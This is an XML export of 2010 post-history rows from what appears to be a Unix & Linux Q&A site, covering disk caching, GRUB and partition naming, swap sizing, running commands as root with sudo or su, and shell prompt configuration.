  <row Id="6658" PostHistoryTypeId="5" PostId="3147" RevisionGUID="33e0cc0b-5bb6-48cb-a7da-06084c101d6f" CreationDate="2010-10-15T16:15:38.920" UserId="1416" Comment="added 111 characters in body" Text="I always understood cached memory in Linux (as in free -m) as pages of memory that can be reused if they are needed again, or quickly freed if more memory is needed by new applications (I found [this article][1] to be helpful a few years ago).&#xD;&#xA;&#xD;&#xA;It seems that both executables (e.g., a program like thunderbird) and data (e.g., the content of a log file) can be cached. In fact, I don't think there is a distinction between text and executable files on *nix.&#xD;&#xA;&#xD;&#xA;I can see how it could work for data that does not change much (e.g., a text file), but how does it work for programs that are dynamic by nature? Surely, the cached memory cannot restore objects that were dynamically allocated? Is it only the bytecode (or instructions in the case of scripts) that is cached then?&#xD;&#xA;&#xD;&#xA;**EDIT 1**&#xD;&#xA;&#xD;&#xA;By cached memory, I mean the memory under the column &quot;cached&quot; when I run &quot;free&quot;:&#xD;&#xA;&#xD;&#xA;    $ free -m&#xD;&#xA;                 total       used       free     shared    buffers     cached&#xD;&#xA;    Mem:          7985       6650       1334          0        150       3201&#xD;&#xA;    -/+ buffers/cache:       3298       4686&#xD;&#xA;    Swap:        13178          2      13176&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**EDIT 2**&#xD;&#xA;&#xD;&#xA;Thanks to ls-lrt who gave me the hint I was missing. As this response on SE clearly mentions (should have searched there first), [&quot;The cached memory is the **disk cache** used by the VFS&quot;][2]. This means that for executables, only the instructions (bytecode, script lines, etc.) are represented under this column and it has nothing to do with things that are dynamically allocated. I was under the impression that entire pages of memory (including dynamically created objects) were &quot;cached&quot;.&#xD;&#xA;&#xD;&#xA;**EDIT 3**&#xD;&#xA;&#xD;&#xA;Nice examples about [using the disk cache][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://forums.gentoo.org/viewtopic.php?t=175419&#xD;&#xA;  [2]: http://serverfault.com/questions/113274/free-memory-is-low-cached-memory-is-highis-it-save-to-have-this/113282#113282&#xD;&#xA;  [3]: http://www.linuxatemyram.com/play.html" />
  <row Id="6659" PostHistoryTypeId="5" PostId="3154" RevisionGUID="b8e5f2e5-5970-4608-88cf-1401cc0fd2aa" CreationDate="2010-10-15T16:17:15.670" UserId="1207" Comment="added 16 characters in body" Text="I am running suse 11.2. ubuntu is on the extended partition /dev/sda5 but when I boot I get &#xD;&#xA;&#xD;&#xA;Error 19: Linux kernel must be loaded before initrd&#xD;&#xA;&#xD;&#xA;This is the unbuntu entry in menu.lst:&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;    #Don’t change this comment – YaST2 identifier: Original name: none#&#xD;&#xA;    title Ubuntu 10.04&#xD;&#xA;    root (hd0,4)&#xD;&#xA;    kernel /vmlinuz root=/dev/sda5 ro quiet splash&#xD;&#xA;    initrd /initrd.img&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6660" PostHistoryTypeId="5" PostId="3154" RevisionGUID="96fdbd70-b38a-4825-a84c-322606d671f4" CreationDate="2010-10-15T16:24:35.453" UserId="1207" Comment="fix up markup" Text="I am running SUSE 11.2. Ubuntu is on the extended partition `/dev/sda5`, but when I boot I get &#xD;&#xA;&#xD;&#xA;    Error 19: Linux kernel must be loaded before initrd&#xD;&#xA;&#xD;&#xA;This is the unbuntu entry in menu.lst:&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;    #Don’t change this comment – YaST2 identifier: Original name: none#&#xD;&#xA;    title Ubuntu 10.04&#xD;&#xA;    root (hd0,4)&#xD;&#xA;    kernel /vmlinuz root=/dev/sda5 ro quiet splash&#xD;&#xA;    initrd /initrd.img&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6661" PostHistoryTypeId="2" PostId="3157" RevisionGUID="ed9de816-193f-4a00-845e-447a49b7ad2c" CreationDate="2010-10-15T17:32:33.337" UserId="2210" Text="I originally got this idea from the O'Reilly &quot;Unix Power Tools&quot; book.&#xD;&#xA;&#xD;&#xA;In my .profile I set:&#xD;&#xA;&#xD;&#xA;export HISTFILE=$HOME/.sh_hist.$$&#xD;&#xA;&#xD;&#xA;Every time my .profile gets read, I get a new history file named with the PID of my session.&#xD;&#xA;If I have multiple logins, each login gets a unique history file.  Works in ksh and bash.&#xD;&#xA;&#xD;&#xA;If you're just opening new terminals in an X session, those usually aren't login shells, but you can configure them to act as login shells.  For example, rxvt +ls will start rxvt as a login shell.  Check the docs for whatever terminal you're using.&#xD;&#xA;&#xD;&#xA;Also, unless you're using a .logout or .bash_logout file (or some other means) to clean up, you'll eventually have a crapload of .sh_hist files." />
  <row Id="6662" PostHistoryTypeId="2" PostId="3158" RevisionGUID="eb763d88-4206-41e9-84c8-be66588dc311" CreationDate="2010-10-15T17:43:22.870" UserId="2269" Text="hi,&#xD;&#xA;&#xD;&#xA;Can you please explain me the hard disk drive /device partition naming convention in Linux(for example : [hd0,0] or sd0 etc...). What does it actually mean?&#xD;&#xA;&#xD;&#xA;What is the significance of this when i need to install multiple Os's in same machine?&#xD;&#xA;&#xD;&#xA;How can we relate it to windows partitioning (example: C:\ drive or D:\ drive) ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;__Kanu" />
  <row Id="6663" PostHistoryTypeId="1" PostId="3158" RevisionGUID="eb763d88-4206-41e9-84c8-be66588dc311" CreationDate="2010-10-15T17:43:22.870" UserId="2269" Text="Hard drive/Device  partition naming convention in Linux " />
  <row Id="6664" PostHistoryTypeId="3" PostId="3158" RevisionGUID="eb763d88-4206-41e9-84c8-be66588dc311" CreationDate="2010-10-15T17:43:22.870" UserId="2269" Text="élinuxàépartitionà" />
  <row Id="6665" PostHistoryTypeId="2" PostId="3159" RevisionGUID="d1b0d7ba-eac2-4706-b7fd-c5b5acf40dfb" CreationDate="2010-10-15T17:57:59.663" UserId="2210" Text="On my slackware box, /dev/hda is the first hard drive detected.  &#xD;&#xA;/dev/hda1 and /dev/hda2 are the first two partitions.&#xD;&#xA;&#xD;&#xA;I can use fdisk to see the partitions.&#xD;&#xA;&#xD;&#xA;    /dev/hda1               1         124      995998+  82  Linux swap&#xD;&#xA;    /dev/hda2   *         125        1662    12353985   83  Linux&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;On my fedora box, /dev/sda is the first hard drive detected.  &#xD;&#xA;/dev/sda1 and /dev/sda2 would be the first two partitions." />
  <row Id="6666" PostHistoryTypeId="2" PostId="3160" RevisionGUID="447498c2-a789-405b-892c-2cadf4366986" CreationDate="2010-10-15T18:03:08.243" UserId="73" Text="The convention changes depending on what you're looking at; `hd0,0` looks similar to GRUB, while `sd0` is similar to entries in `/dev`, but neither matches what I normally see.&#xD;&#xA;&#xD;&#xA;In `/dev`:&#xD;&#xA;&#xD;&#xA;* IDE drives start with `hd`, while SATA (and I believe any kind of serial device) start with `sd`&#xD;&#xA;* Drives are lettered starting with `a` in cable order, so `/dev/sda` is the first serial drive, and `/dev/hdb` is the second IDE drive&#xD;&#xA;* Partitions on a drive are numbered starting with 1, so `/dev/sdb1` is the first partition on the second serial drive&#xD;&#xA;&#xD;&#xA;GRUB 1 doesn't have the distinction between drive types, it's always of the form `(hdX, Y)`:&#xD;&#xA;&#xD;&#xA;* `X` is the number of the drive, starting with 0, so `sda` is `hd0`, `sdb` is `hd1`, etc.&#xD;&#xA;* `Y` is the number of the partition, starting with **0** (not 1 like `/dev`), so `sda1` is `(hd0, 0)`&#xD;&#xA;&#xD;&#xA;I believe GRUB 2 uses a different syntax, but I don't know it&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;It's significant when you're installing multiple OSes if you want to put them on separate partitions -- you need to keep track of which OS is where. It's really significant anytime you're dealing with unmounted drives; you need to know that `/` is on `/dev/sda1` and `/home` is on `/dev/sda2` (for example)&#xD;&#xA;&#xD;&#xA;As far as I know, Windows disks start from disk 0, and partitions don't have any particular numbering. Drive letters are assigned however you like and not tied to a particular partition" />
  <row Id="6667" PostHistoryTypeId="2" PostId="3161" RevisionGUID="b5f00ea1-9a06-4bde-b24c-0d3cbdb8e851" CreationDate="2010-10-15T18:16:30.150" UserId="131" Text="Sometimes, on my Arch Linux laptop, using GNOME for the desktop, my screen will fade out after a while of non-activity (even if I'm watching a video). This fade out is very slow, and can't be cancelled by mouse movements, keyboard presses etc. What is responsible for this, and how do I disable it?" />
  <row Id="6668" PostHistoryTypeId="1" PostId="3161" RevisionGUID="b5f00ea1-9a06-4bde-b24c-0d3cbdb8e851" CreationDate="2010-10-15T18:16:30.150" UserId="131" Text="Screen fading out on GNOME, without ability to cancel" />
  <row Id="6669" PostHistoryTypeId="3" PostId="3161" RevisionGUID="b5f00ea1-9a06-4bde-b24c-0d3cbdb8e851" CreationDate="2010-10-15T18:16:30.150" UserId="131" Text="éarchölinuxàésleepàépowerömanagementà" />
  <row Id="6670" PostHistoryTypeId="2" PostId="3162" RevisionGUID="8d8a247c-ab64-4bf7-9c63-6e8a038da366" CreationDate="2010-10-15T18:28:06.817" UserId="885" Text="`(hd0,0)` is [**Grub**](http://www.gnu.org/software/grub/) syntax. (Note that these are parentheses, not square brackets.) Grub is a bootloader, that is, a small program that is launched by your computer's BIOS and whose job is to load the operating system. `hd0` references the first drive detected by the **BIOS**, `hd1` references the second one. The second number is a partition number; Grub 1 starts from 0, while Grub 2 starts from 1. See [“Naming convention” in the Grub manual](http://www.gnu.org/software/grub/manual/grub.html#Naming-convention) if you want more details.&#xD;&#xA;&#xD;&#xA;`/dev/sda`, `/dev/sdb`, etc, are the default names of **hard disks** (and other similar storage like flash disks of all kinds, but not CD or tape drives) under **Linux**. The last letter grows in the order in which the disks are detected. You may find `/dev/hda`, `/dev/hdb`, etc, on some Linux distributions. `sd` indicates that the disk driver uses a SCSI interface internally, while `hd` indicates that the driver uses an IDE interface. This is only an internal kernel matter, you can and often do have IDE disks appear as `sd`. The additional number is the **partition number**, starting at 1.&#xD;&#xA;&#xD;&#xA;The partitions you're likely to encounter follow the [PC partitioning scheme](http://en.wikipedia.org/wiki/Disk_partitioning#PC_partition_types). A disk has up to four primary partitions, numbered 1 to 4 (or 0 to 3 in Grub 1). It may also have any number of logical partitions, in which case one of the primary partitions cannot contain a filesystem but must instead be an extended partition (a container for the logical partitions). Logical partitions are numbered from 5 on (from 4 in Grub 1).&#xD;&#xA;&#xD;&#xA;The names of the device files (e.g. `/dev/sda`) used by Linux are in fact assigned by the [udev](http://en.wikipedia.org/wiki/Udev) program, and can be configured. This is typically useful in advanced situations involving removable media.&#xD;&#xA;&#xD;&#xA;Most of the time, you don't need to care about device names. They are referenced in a very small number of places, typically only two: the bootloader configuration (as we've seen, Grub has its own names anyway), and the file `/etc/fstab` which lists the filesystems to mount on boot. (And even `/etc/fstab` does not always reference partitions by names like `/dev/sda1`.) What matters is **mount points**, that is, the location (directory) at which each filesystem is mounted.&#xD;&#xA;&#xD;&#xA;Windows uses a completely different naming scheme which is hard to relate to the underlying hardware structure. `c:`, `d:`, etc, are assigned to partitions of a type that Windows recognizes in a particular order (and there are ways to influence this order). [Wikipedia has the details.](http://en.wikipedia.org/wiki/Drive_letter#Order_of_assignment)&#xD;&#xA;" />
  <row Id="6671" PostHistoryTypeId="5" PostId="3158" RevisionGUID="389a0c86-26d6-4140-b373-f100fe83649a" CreationDate="2010-10-15T18:48:18.127" UserId="73" Comment="deleted 30 characters in body; edited title" Text="What is the hard disk drive/device partition naming convention in Linux? For example, `[hd0,0]`, `sd0`, etc. What does it actually mean?&#xD;&#xA;&#xD;&#xA;What is the significance of this when i need to install multiple OSes on the same machine?&#xD;&#xA;&#xD;&#xA;How can we relate it to windows partitioning (example: `C:\` drive or `D:\` drive)?&#xD;&#xA;" />
  <row Id="6672" PostHistoryTypeId="4" PostId="3158" RevisionGUID="389a0c86-26d6-4140-b373-f100fe83649a" CreationDate="2010-10-15T18:48:18.127" UserId="73" Comment="deleted 30 characters in body; edited title" Text="Hard drive/device partition naming convention in Linux " />
  <row Id="6673" PostHistoryTypeId="5" PostId="3135" RevisionGUID="8b433ef2-17af-4003-ba84-d8de8983e1f6" CreationDate="2010-10-15T18:50:01.313" UserId="1107" Comment="omit `-e` as suggested by frabjous" Text="   sed G&#xD;&#xA;&#xD;&#xA;`G` is not often used, but is nice for this purpose. *sed* maintains two buffer spaces: the “pattern space” and the “hold space”. The lines processed by *sed* usually flow through the pattern space as various commands operate on its contents (`s///`, `p`, etc.); the hold space starts out empty and is only used by some commands.&#xD;&#xA;&#xD;&#xA;The `G` command appends a newline and the contents of the hold space to the pattern space. The above *sed* program never puts anything in the hold space, so `G` effectively appends just a newline to every line that is processed." />
  <row Id="6674" PostHistoryTypeId="2" PostId="3163" RevisionGUID="09e77d93-26ed-40c9-b64b-cec940291858" CreationDate="2010-10-15T19:00:19.740" UserId="1941" Text="The fade out is probably the screensaver kicking in. Try to disable it by going to System-&gt;Preferences-&gt;Look and Feel-&gt;Screensaver and disabling &quot;Activate screensaver when computer is idle&quot; if indeed the active screen saver is &quot;Blank screen&quot;.&#xD;&#xA;&#xD;&#xA;The fact that the fading out can't be interrupted is a bug it seems. E.g. Fedora has a [bugreport][1] stating it is a fault of the X server and fixed with an update.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://bugzilla.redhat.com/show_bug.cgi?id=612620" />
  <row Id="6675" PostHistoryTypeId="2" PostId="3164" RevisionGUID="4ae1c197-653f-419a-bd25-c0bcc093e218" CreationDate="2010-10-15T19:08:14.777" UserId="131" Text="In most cases, its the variety of drivers that aren't around. And unlike graphics cards, wireless cards (nowadays) and printers, scanners aren't used by the majority of users, so there isn't as much effort put into them." />
  <row Id="6676" PostHistoryTypeId="5" PostId="3154" RevisionGUID="a22366cd-1284-4058-89e1-ecac4428c50d" CreationDate="2010-10-15T20:20:56.227" UserId="1207" Comment="fixed typo" Text="I am running SUSE 11.2. Ubuntu is on the extended partition `/dev/sda5`, but when I boot I get &#xD;&#xA;&#xD;&#xA;    Error 19: Linux kernel must be loaded before initrd&#xD;&#xA;&#xD;&#xA;This is the Ubuntu entry in menu.lst:&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;    #Don’t change this comment – YaST2 identifier: Original name: none#&#xD;&#xA;    title Ubuntu 10.04&#xD;&#xA;    root (hd0,4)&#xD;&#xA;    kernel /vmlinuz root=/dev/sda5 ro quiet splash&#xD;&#xA;    initrd /initrd.img&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6677" PostHistoryTypeId="5" PostId="3064" RevisionGUID="af39f764-3313-4e31-a919-58721f9374d6" CreationDate="2010-10-15T20:31:10.247" UserId="1207" Comment="added some links" Text="The main two possibilities are:&#xD;&#xA;&#xD;&#xA;* Use **`su`** and enter the root password when prompted.&#xD;&#xA;* Put **`sudo`** in front of the command, and enter your password when prompted.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;# Running a command as root&#xD;&#xA;&#xD;&#xA;## sudo&#xD;&#xA;&#xD;&#xA;This is the preferred method on most multi-user systems and on **Ubuntu**. If you don't know a separate root password, use this method.&#xD;&#xA;&#xD;&#xA;Sudo requires that you type your own password. (The purpose is to limit the damage if you leave your keyboard unattended and unlocked.) It is often configured to not ask again for a few minutes so you can run several `sudo` commands in succession.&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA;    sudo service apache restart&#xD;&#xA;&#xD;&#xA;If you need to run several commands as root, prefix each of them with `sudo`. Sometimes, it is more convenient to run an interactive shell as root. You can use `sudo -i` for that:&#xD;&#xA;&#xD;&#xA;    $ sudo -i&#xD;&#xA;    # command 1&#xD;&#xA;    # command 2&#xD;&#xA;    ...&#xD;&#xA;    # exit&#xD;&#xA;&#xD;&#xA;Instead of `sudo -i`, you can use `sudo -s`. The difference is that `-i` re&lt;strong&gt;i&lt;/strong&gt;nitializes the environment to sane defaults, whereas `-s` uses your configuration files for better or for worse.&#xD;&#xA;&#xD;&#xA;For more information, see the [sudo website](http://www.sudo.ws/), or type [`man sudo`](http://www.sudo.ws/sudo/sudo.man.html) on your system. Sudo is very configurable; for example it can be configured to let a certain user only execute certain commands as root. Read the [`sudoers` man page](http://www.sudo.ws/sudo/sudoers.man.html) for more information; use `sudo visudo` to edit the sudoers file.&#xD;&#xA;&#xD;&#xA;## su&#xD;&#xA;&#xD;&#xA;The `su` command exists on most unix-like systems. It lets you run a command as another user, including root, provided you know that user's password.&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA;    su -c 'service apache restart'&#xD;&#xA;&#xD;&#xA;The command to run must be passed using the `-c` option. Note that you need quotes so that the command is not parsed by your shell, but passed intact to the root shell that `su` runs.&#xD;&#xA;&#xD;&#xA;To run multiple commands as root, it is more convenient to start an interactive shell. &#xD;&#xA;&#xD;&#xA;    $ su -c bash&#xD;&#xA;    # command 1&#xD;&#xA;    # command 2&#xD;&#xA;    ...&#xD;&#xA;    # exit&#xD;&#xA;&#xD;&#xA;On some systems, you need to be in group number 0 (called `wheel`) to use `su`. (The point is to limit the damage if the root password is accidentally leaked to someone.)&#xD;&#xA;&#xD;&#xA;## Logging in as root&#xD;&#xA;&#xD;&#xA;If authorized, you can simply type `root` at the login prompt and enter the root password. Be very careful, and avoid running complex applications as root as they might do something you didn't intend. Logging in directly as root is mainly useful in emergency situations, such as disk failures or when you've locked yourself out of your account.&#xD;&#xA;&#xD;&#xA;##Single User Mode&#xD;&#xA;&#xD;&#xA;Single user mode, or run-level 1, also gives you root privileges.  This is intended primarily for emergency maintenance situations where booting into a multi-user run-level is not possible.  You can boot into single user mode by passing `single` or `emergency` on the kernel command line.  Note that booting into single-user mode is not the same as booting the system normally and logging in as root.  Rather, the system will only start the services defined for run-level 1.  Typically, this is the smallest number of services required to have a usable system.&#xD;&#xA;&#xD;&#xA;You can also get to single user mode by using the telinit command: `telinit 1`; however, this command requires root privileges to run.&#xD;&#xA;&#xD;&#xA;On many systems booting into single user mode will give the user access to a root shell without prompting for a password.&#xD;&#xA;&#xD;&#xA;## Other programs&#xD;&#xA;&#xD;&#xA;### Calife&#xD;&#xA;&#xD;&#xA;[Calife][1] lets you run commands as another user by typing your own password, if authorized. It is similar to the much more widespread sudo (see above). Calife is more light-weight than sudo but also less configurable.&#xD;&#xA;&#xD;&#xA;### Emacs&#xD;&#xA;&#xD;&#xA;Thanks to [Tramp](http://www.gnu.org/software/tramp/#Remote-processes), you can run commands as root through `su` or `sudo` within Emacs. See the section on editing root-owned files below.&#xD;&#xA;&#xD;&#xA;In eshell, type `cd /sudo::` or `cd /su::` to become root. Type `cd /` to go back to your own user. The idea is that the current directory is on a “remote” host, which is in fact the same host but accessed as a different user.&#xD;&#xA;&#xD;&#xA;You can also have `M-!` (`shell-command`) or `M-x shell` run as root. First visit a directory using the `su` or `sudo` tramp method, e.g., `C-x C-f /sudo::/ RET` (`find-file` `&quot;/sudo::/&quot;`). Then run `M-!` or `M-x shell` from the resulting dired buffer.&#xD;&#xA;&#xD;&#xA;### Op&#xD;&#xA;&#xD;&#xA;[Op][2] lets you run commands as another user, including root. This not a full-blown tool to run arbitrary commands: you type `op` followed by a *mnemonic* configured by the system administrator to run a specific command.&#xD;&#xA;&#xD;&#xA;### Super&#xD;&#xA;&#xD;&#xA;Super lets you run commands as another user, including root. The command must have been allowed by the system administrator.&#xD;&#xA;&#xD;&#xA;## Graphical frontends&#xD;&#xA;&#xD;&#xA;A few other applications that use `sudo` or `su`:&#xD;&#xA;&#xD;&#xA;### Gksu, Gksudo&#xD;&#xA;&#xD;&#xA;`gksu` and `gksudo` are graphical front-ends to `su` and `sudo` respectively. They allow you to run X Window programs as root with no hassle. They are part of [Gnome](http://www.gnome.org/). Type&#xD;&#xA;&#xD;&#xA;    gksu command --option argument&#xD;&#xA;&#xD;&#xA;and enter the root password, or type&#xD;&#xA;&#xD;&#xA;    gksudo command --option argument&#xD;&#xA;&#xD;&#xA;and enter your password (if authorized to run `sudo`).&#xD;&#xA;&#xD;&#xA;### KdeSu, KdeSudo&#xD;&#xA;&#xD;&#xA;[`kdesu`](http://docs.kde.org/stable/en/kdebase-runtime/kdesu/) and [`kdesudo`](http://ksudo.sourceforge.net/kdesudo/) are graphical front-ends to `su` and `sudo` respectively. They allow you to run X Window programs as root with no hassle. They are part of [KDE](http://www.kde.org/). Type&#xD;&#xA;&#xD;&#xA;    kdesu -c 'command --option argument'&#xD;&#xA;&#xD;&#xA;and enter the root password, or type&#xD;&#xA;&#xD;&#xA;    kdesudo -c 'command --option argument'&#xD;&#xA;&#xD;&#xA;and enter your password (if authorized to run `sudo`). If you check the “keep password” option in KdeSu, you will only have to type the root password once per login session.&#xD;&#xA;&#xD;&#xA;### Ktsuss&#xD;&#xA;&#xD;&#xA;[Ktsuss](http://developer.berlios.de/projects/ktsuss) (“keep the su simple, stupid”) is a graphical version of su.&#xD;&#xA;&#xD;&#xA;### Beesu&#xD;&#xA;&#xD;&#xA;[Beesu][3] is a graphical front-end to the su command that has replaced Gksu in Red Hat-based operating systems. It has been developed mainly for RHEL and Fedora.&#xD;&#xA;&#xD;&#xA;See also [Wikipedia](http://en.wikipedia.org/wiki/Comparison_of_privilege_authorization_features).&#xD;&#xA;&#xD;&#xA;# Running a graphical command as root&#xD;&#xA;&#xD;&#xA;Depending on your system, `su` and `sudo` might not let the commands you run as root to access your X Window display.&#xD;&#xA;&#xD;&#xA;The easiest solution is to use a graphical wrapper such as `gksu`, `kdesu`, `beesu`, or their sudo siblings.&#xD;&#xA;&#xD;&#xA;To achieve this manually, you'll at least need to make sure you retain the `DISPLAY` environment variable in the environment, as well as `XAUTHORITY` if present.&#xD;&#xA;&#xD;&#xA;# Editing a file as root&#xD;&#xA;&#xD;&#xA;Obviously, if you know how to run any command as root, you can run an editor. But that's not the most convenient or the safest method.&#xD;&#xA;&#xD;&#xA;**Note:** There are a few files that you should not edit directly:&#xD;&#xA;&#xD;&#xA;* Never edit the `sudoers` directly. Always use the `visudo` command for that. If you make a mistake in the syntax of the `sudoers` file, you could be locked out of the root account! When you run `visudo`, it lets you edit a temporary copy of the file and performs a syntax verification before replacing the actual file by your edits.&#xD;&#xA;* The same principle applies to the user and group databases, `/etc/passwd` and `/etc/group`. On systems where they are available, use the `vipw` and `vigr` commands respectively.&#xD;&#xA;&#xD;&#xA;## sudoedit&#xD;&#xA;&#xD;&#xA;`sudoedit` (or its synonym `sudo -e`) is a mode of `sudo` where you edit a temporary copy of a file in your favorite editor, and that copy is moved into place when you finish editing.&#xD;&#xA;&#xD;&#xA;    sudoedit /etc/fstab&#xD;&#xA;&#xD;&#xA;## Emacs&#xD;&#xA;&#xD;&#xA;You can use Emacs's remote access mechanism ([Tramp](http://www.gnu.org/software/tramp/)) to edit files as another user. Use the `su` or `sudo` [method](http://www.gnu.org/software/tramp/#Inline-methods). For example, to edit `/etc/fstab`, use one of the following file names:&#xD;&#xA;&#xD;&#xA;    /su::/etc/fstab&#xD;&#xA;    /sudo::/etc/fstab&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.keltia.net/programs/calife/&#xD;&#xA;  [2]: http://linux.die.net/man/1/op&#xD;&#xA;  [3]: http://www.honeybeenet.altervista.org/beesu/" />
  <row Id="6678" PostHistoryTypeId="2" PostId="3165" RevisionGUID="3605bd66-1c76-4c5f-b74b-961d007e2ab6" CreationDate="2010-10-15T20:35:29.037" UserId="274" Text="Blind guess: `CONFIG_VZ_FAIRSCHED=y` forces a value in _some other_ kernel configuration option. What does the help text for that option state?" />
  <row Id="6679" PostHistoryTypeId="2" PostId="3166" RevisionGUID="ada6a55f-3bae-4c14-b78f-f94fd66f3ed4" CreationDate="2010-10-15T20:40:50.690" UserId="2269" Text="hi,&#xD;&#xA;&#xD;&#xA;When i installed ubuntu in my x86 machine , i have configured some memory as 'swap area' .&#xD;&#xA;&#xD;&#xA;What is the use of this memory/ what is the importance of this memory in linux file systems?&#xD;&#xA;&#xD;&#xA;How can i determine the exact size of 'swap area' in a machine for the safe working of linux inside in it?&#xD;&#xA;&#xD;&#xA;__Kanu " />
  <row Id="6680" PostHistoryTypeId="1" PostId="3166" RevisionGUID="ada6a55f-3bae-4c14-b78f-f94fd66f3ed4" CreationDate="2010-10-15T20:40:50.690" UserId="2269" Text="What is the use/meaning of  'swap area' while linux installation?" />
  <row Id="6681" PostHistoryTypeId="3" PostId="3166" RevisionGUID="ada6a55f-3bae-4c14-b78f-f94fd66f3ed4" CreationDate="2010-10-15T20:40:50.690" UserId="2269" Text="élinuxàéfilesystemsà" />
  <row Id="6682" PostHistoryTypeId="2" PostId="3167" RevisionGUID="25b535fe-7520-4439-87f3-1072eb966379" CreationDate="2010-10-15T20:48:07.927" UserId="1571" Text="The swap partition (or file) in linux is equivalent to the page file in Windows. It's used for offloading the RAM. If the RAM gets full, the OS can use the swap partition as extra RAM.&#xD;&#xA;&#xD;&#xA;As for how to determine your swap size, the rule of thumb is (used to be) 2x the amount of RAM in your machine. So if you had 512MB of ram, you would have a 1GB swap partition. This rule is largely outdated though. So if you have more than say 2GB of ram, you don't really need 4GB of swap.&#xD;&#xA;&#xD;&#xA;I normally make my swap size equal to the ram size + 10%. It has to be equal to the RAM size so that you can use suspend to disk features, and then + 10% for good measure." />
  <row Id="6683" PostHistoryTypeId="2" PostId="3168" RevisionGUID="7ef5c90d-c344-44d4-850b-3a6dad63fe9c" CreationDate="2010-10-15T20:48:45.043" UserId="5" Text="You probably mean you configured some space on your hard disk for swap.&#xD;&#xA;&#xD;&#xA;Swap is part of memory management. It extends the virtual memory space you have, such that it can be more than your physical memory available, i.e. RAM. This allows then to swap pages of memory between RAM and harddisk, however, obviously it will decrease the performance when this happens.&#xD;&#xA;&#xD;&#xA;This way applications can allocate more memory that you have as RAM, even it cannot all be used at the same time." />
  <row Id="6684" PostHistoryTypeId="2" PostId="3169" RevisionGUID="97715a73-9514-457a-946e-e5303ecf2c2d" CreationDate="2010-10-15T20:48:56.480" UserId="1327" Text="A very &quot;untechnical&quot; explanation:&#xD;&#xA;&#xD;&#xA;[Swap][1] area is **hard drive space** that acts as extra **[RAM][3]**. When your **RAM** gets full, your computer uses SWAP to store the extra information. Note that when this happends your computer might slow down noticably.&#xD;&#xA;&#xD;&#xA;Ubuntu *help* [recommends][2] that you have double the ammount of RAM as SWAP. So if you have 1GB of RAM, you should have 2GB SWAP, however your computer should work fine with less SWAP.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[1]:http://en.wikipedia.org/wiki/Swap_space&#xD;&#xA;[2]:https://help.ubuntu.com/community/SwapFaq#How%20much%20swap%20do%20I%20need?&#xD;&#xA;[3]:http://en.wikipedia.org/wiki/Random-access_memory" />
  <row Id="6685" PostHistoryTypeId="2" PostId="3170" RevisionGUID="70766ffc-3f72-45c3-9ca6-681ac5dd513c" CreationDate="2010-10-15T20:49:16.493" UserId="274" Text="The [Ubuntu Swap FAQ](https://help.ubuntu.com/community/SwapFaq) provides some of the answers you ask for.&#xD;&#xA;&#xD;&#xA;There are also a few posts on this very site, that already cover much of the topic:&#xD;&#xA;&#xD;&#xA;* [Why swap when there is more than enough RAM](http://unix.stackexchange.com/questions/2658/why-use-swap-when-there-is-more-than-enough-ram) -- the set of answers given here gives a pretty complete picture of what swap is used for in Linux&#xD;&#xA;* [Why use a Linux swap partition than a file](http://unix.stackexchange.com/questions/2207/why-linux-use-a-swap-partition-than-a-file)" />
  <row Id="6686" PostHistoryTypeId="4" PostId="2207" RevisionGUID="c57f847a-d6d0-4484-8c32-9eb97c7480a4" CreationDate="2010-10-15T20:55:49.603" UserId="1327" Comment="edited title" Text="Why Linux use a swap partition rather than a file?" />
  <row Id="6687" PostHistoryTypeId="5" PostId="3169" RevisionGUID="e64c2056-1bdf-48d8-9043-8d98f1959895" CreationDate="2010-10-15T20:59:19.883" UserId="1327" Comment="deleted 1 characters in body" Text="A very &quot;untechnical&quot; explanation:&#xD;&#xA;&#xD;&#xA;[Swap][1] area is **hard drive space** that acts as extra **[RAM][3]**. When your **RAM** gets full, your computer uses SWAP to store the extra information. Note that when this happens your computer might slow down noticably.&#xD;&#xA;&#xD;&#xA;Ubuntu *help* [recommends][2] that you have double the ammount of RAM as SWAP. So if you have 1GB of RAM, you should have 2GB SWAP, however your computer should work fine with less SWAP.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[1]:http://en.wikipedia.org/wiki/Swap_space&#xD;&#xA;[2]:https://help.ubuntu.com/community/SwapFaq#How%20much%20swap%20do%20I%20need?&#xD;&#xA;[3]:http://en.wikipedia.org/wiki/Random-access_memory" />
  <row Id="6688" PostHistoryTypeId="2" PostId="3171" RevisionGUID="12a0d3bf-b700-466a-a243-892c3a42f1cf" CreationDate="2010-10-15T21:01:27.083" UserId="1571" Text="What is the `debian_chroot` variable in my bashrc file? and what is it doing here?&#xD;&#xA;&#xD;&#xA;`PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ '`" />
  <row Id="6689" PostHistoryTypeId="1" PostId="3171" RevisionGUID="12a0d3bf-b700-466a-a243-892c3a42f1cf" CreationDate="2010-10-15T21:01:27.083" UserId="1571" Text="What is $debian_chroot in .bashrc?" />
  <row Id="6690" PostHistoryTypeId="3" PostId="3171" RevisionGUID="12a0d3bf-b700-466a-a243-892c3a42f1cf" CreationDate="2010-10-15T21:01:27.083" UserId="1571" Text="ébashàéubuntuàédebianà" />
